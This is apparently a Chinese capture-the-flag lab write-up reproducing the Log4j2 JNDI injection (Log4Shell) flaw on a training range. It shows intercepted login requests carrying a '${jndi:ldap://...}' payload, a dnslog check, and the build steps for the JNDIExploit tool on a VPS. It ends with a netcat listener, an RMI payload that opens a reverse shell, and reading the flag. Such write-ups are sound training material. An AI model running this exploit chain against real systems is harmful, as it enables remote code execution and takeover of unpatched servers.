Apache Log4j任意代码执行漏洞简介
log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。
开启靶场环境
通过对Log4j产生的原理的了解我们可以大致了解到也就是说如果目标没有对我们输入的内容做一些过滤和校验就会使得使目标远程访问到一个LDAP服务请求到一个恶意的class文件从而加载恶意的class文件执行恶意代码
就如下图所示:
开始复现
我们先随便输入账户和密码,拦截到登录的请求包
POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://d63bb2586.lab.aqlab.cn
Authorization: Basic emthcTp6a2Fx
Connection: close
Referer: http://d63bb2586.lab.aqlab.cn/
Upgrade-Insecure-Requests: 1
username=admin&password=123456
我们正常发送请求就像如图所示
但如果我们另起一个LDAP服务,让其请求的时候直接请求我们的LDAP Server呢,LDAP Server返回恶意exp,然后恶意的class文件再被发送到HTTP server执行
使用dnslog测试是否能远程请求地址
来到Dnslog平台
这里拿到的地址是9c5c3w.dnslog.cn(每个人的都不一样)
此时我们来到那个登录页面,使用jndi注入请求我们刚刚拿到的Dnslog地址
如果存在漏洞,点击登录后我们会在Dnslog平台看到一条dns请求
踩坑点1:
这个时候我怎么刷新记录都没有看到请求的记录
这个时候我们看一下请求的数据包:
POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://d63bb2586.lab.aqlab.cn
Authorization: Basic emthcTp6a2Fx
Connection: close
Referer: http://d63bb2586.lab.aqlab.cn/
Upgrade-Insecure-Requests: 1
username=%24%7Bjndi%3Aldap%3A%2F%2F9c5c3w.dnslog.cn%7D&password=
发现payload被URL编码了
把payload再重发器中再发送一遍
此时再刷新dnslog平台,发现它确实可以远程去请求一个地址,漏洞存在
在VPS上面使用JNDI注入工具JNDI-Injection-Exploit也起一个LDAP服务
小坑点1:JNDI-Injection-Exploit项目地址
GitHub - Mr-xn/JNDIExploit-1: 一款用于 JNDI注入 利用的工具,大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。(from https://github.com/feihong-cs/JNDIExploit)
使用git clone https://github.com/Mr-xn/JNDIExploit-1.git 将项目克隆到vps上
小坑点2:
刚刚将JNDI-Injection-Exploit克隆到vps后,cd JNDI-Injection-Exploit你是看不到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件和target目录的,你需要在JNDI-Injection-Exploit目录下执行 “mvn clean package -DskipTests”
出现这个标志就代表成功了
此时就能看见JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件和target目了
小坑点3:
使用java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 的时候报错,大概率是vps上还没有Java环境
安装Java环境:
sudo apt update
sudo apt install default-jre
sudo apt install default-jdk
详细内容可以参考【Ubuntu】安装Java 环境和配置环境变量-优快云博客
安装完成
总结需要执行的命令:
依次执行
1.cd JNDI-Injection-Exploit
2.mvn clean package -DskipTests
3.cd target
4.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "你要执行的命令" -A "你的vps主机ip地址"
这里我执行的是一个反弹shell的命令,将靶机的shell权限反弹到我的VPS主机上
关于反弹shell详细可参考反弹shell 看这一篇就够了_定时任务反弹shell-优快云博客
再起一个终端使用nc -lvvp 6666 监听本地的666端口
这里是工具给我们提供的payload,我们随便选取一个
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://x.x.x.x:1099/8ep29j
ldap://x.x.x.x:1389/8ep29j
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://x.x.x.x:1099/ldnkd8
ldap://x.x.x.x.175:1389/ldnkd8
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://x.x.x.x:1099/uznw84
如我们选取rmi://x.x.x.x:1099/ldnkd8这个payload
将payload放到burpsuite中重新请求
POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://d63bb2586.lab.aqlab.cn
Authorization: Basic emthcTp6a2Fx
Connection: close
Referer: http://d63bb2586.lab.aqlab.cn/
Upgrade-Insecure-Requests: 1
username=${rmi://x.x.x.x:1099/ldnkd8}&password=
点击send
坑点4:
send之后怎么都没成功,这个时候可以试一下其他的payload,一共给出了5个payload
但是我这里的原因是vps的防火墙没有开放nc 监听的6666端口,去自己的vps上设置一下防火墙规则
最后send!
反弹shell成功
最后再使用cat flag.txt把flag读出来就好啦